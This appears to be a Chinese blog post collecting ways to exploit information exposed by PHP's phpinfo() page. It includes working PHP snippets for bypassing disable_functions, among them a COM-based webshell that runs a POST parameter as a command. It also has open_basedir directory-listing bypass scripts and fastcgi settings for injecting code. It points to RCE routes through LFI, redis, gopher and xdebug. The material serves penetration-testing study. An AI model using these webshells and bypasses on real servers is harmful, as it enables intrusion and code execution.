phpinfo信息利用总结

本文抄的,就当总结的知识库

system

获取具体版本,可以用来提权

extension_dir

php扩展的路径

http_x_real_ip

直接获取真实ip,无视代理、cdn。顺便说下HTTP_X_FORWARDED_FOR的区别,HTTP_X_FORWARDED_FOR会记录代理过程且可伪造

DOCUMENT_ROOT

web根目录

_FILES[‘x’]

临时文件路径, LFI+phpinfo -> RCE

allow_url_include

远程文件包含,但是一般不会开启

asp_tags

php标签有4种形式,如果这个选项不开启的话(一般默认不开启),使用asp的标签是不会解析的。
这里math1as师傅写了一篇user.ini+asp_tags绕过webshell检测的文章a way to bypass php tags check
实际就是通过向其中添加php_value asp_tags On并上传.htaccess.user.ini来bypass。
原理是:

1
2
asp_tags的属性是这样的
PHP_INI_PERDIR:指令可以在php.ini、httpd.conf或.htaccess文件中修改

注意: 在PHP 7已经完全移除了这种标签。

Short_open_tag

还是标签的问题,允许这种形式,并且<?=等价于<? echo

disable_functions和disable_classes

禁用函数列表:

1
2
3
4
5
6
7
8
(dl)
exec
system
passthru
popen
proc_open
pcntl_exec
shell_exec

绕过方式

  1. 记得Seay代码审计里说过dl()函数(需要enable_dl开启)
1
2
3
4
5
<?php
//PHP5调用方法
dl('../../../../../home/apache/htdocs/php5.so');
spiderbiguan('uname -a');//调用函数
?>
  1. 编译php时如果加了-–enable-pcntl选项,就可以使用pcntl_exec()来执行命令。PHP>4.2.0
1
2
3
4
5
<?php pcntl_exec(“/bin/bash”, array(“/tmp/b4dboy.sh”));?>

#/tmp/b4dboy.sh
#!/bin/bash
ls -l /
  1. 利用ImageMagick漏洞绕过disable_function(应该是要组件与扩展都有具体没测试)

https://www.waitalone.cn/imagemagic-bypass-disable_function.html

  1. 利用环境变量LD_PRELOAD来绕过

    http://www.vuln.cn/6784的确是一种好方法,利用起来也没有那么繁琐。

  2. win系统组件

1
2
3
4
5
6
7
8
<?php
$command=$_POST[a];
$wsh = new COM('WScript.shell'); // 生成一个COM对象
$exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput
?>

magic_quotes_gpc

魔术引号,它是用来实现addslshes()和stripslashes()这两个功能的,对SQL注入进行防御。用了addslshes()除非是有编码问题要不然是不存在注入的。

open_basedir

将用户可操作的文件限制在某目录下

绕过方式

https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html

  1. 利用DirectoryIterator + Glob 直接列举目录(linux)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
?>
  1. realpath列举目录

利用realpath对传入路径的回显不同加上通配符进行列举。本地环境linux就没有进行测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
realpath($file);
}
function isexists($errno, $errstr)
{
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
printf("%s <br/>", $matches[1]);
}
}
?>

首先设置open_basedir为当前目录,并枚举d:/test/目录下的所有文件。将错误处理交给isexists函数,在isexists函数中匹配出目录名称,并打印出来。

  1. SplFileInfo::getRealPath列举目录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
$info = new SplFileInfo($basedir . $chars[$i] . '<><');
$re = $info->getRealPath();
if ($re) {
dump($re);
}
}
function dump($s){
echo $s . '<br/>';
ob_flush();
flush();
}
?>

还有GD库imageftbbox/imagefttext列举目录bindtextdomain暴力猜解目录,基本也都是要暴力破解,效率比较低。

参考:

PHP绕过open_basedir列目录的研究
php5全版本绕过open_basedir读文件脚本
绕过open_basedir读文件脚本

扩展

imagick

漏洞影响ImageMagick 6.9.3-10之前的版本,包括ubuntu源中安装的ImageMagick
详情参考:
ImageMagick 漏洞利用方式及分析
ImageMagick远程代码执行漏洞分析

远程执行

libxml

libxml 2.9以前的版本默认支持并开启了外部实体的引用,服务端解析用户提交的 xml 文件时未对 xml 文件引用的外部实体(含外部普通实体和外部参数实体)做合适的处理,会导致XXE。

memcache

Memcache未授权访问漏洞利用及修复

redis

利用redis写webshell

session

Session.upload_progress 是PHP5.4的新特征。
1.序列化处理器不一致导致对象注入。
详情:session反序列化

2.session.upload_progress加本地文件包含=getshell

Session-upload-progress
非预期解法一

xdebug

Xdebug命令执行
Xdebug: A Tiny Attack Surface
Xdebug
Xdebug 攻击面在 PhpStorm 上的现实利用
非预期解法三

GOPHER

利用 Gopher 协议拓展攻击面
首先要支持gopher协议,然后找到一个能执行curl会话的参数,构造gopher格式的payload以post格式去执行反弹shell。

fastcgi

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#php-fpmfastcgi

通过fastcgi传入环境变量,设置

1
2
'PHP_VALUE': 'auto_prepend_file =php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'

将执行的代码放在body中执行任意代码。

OPCACHE

OPCACHE

域&用户

Phpinfo页面还能看到当前域,当前登录用户

参考

amazing phpinfo()


phpinfo信息利用总结
https://wanf3ng.github.io/2022/05/17/phpinfo信息利用总结/
作者
wanf3ng
发布于
2022年5月17日
许可协议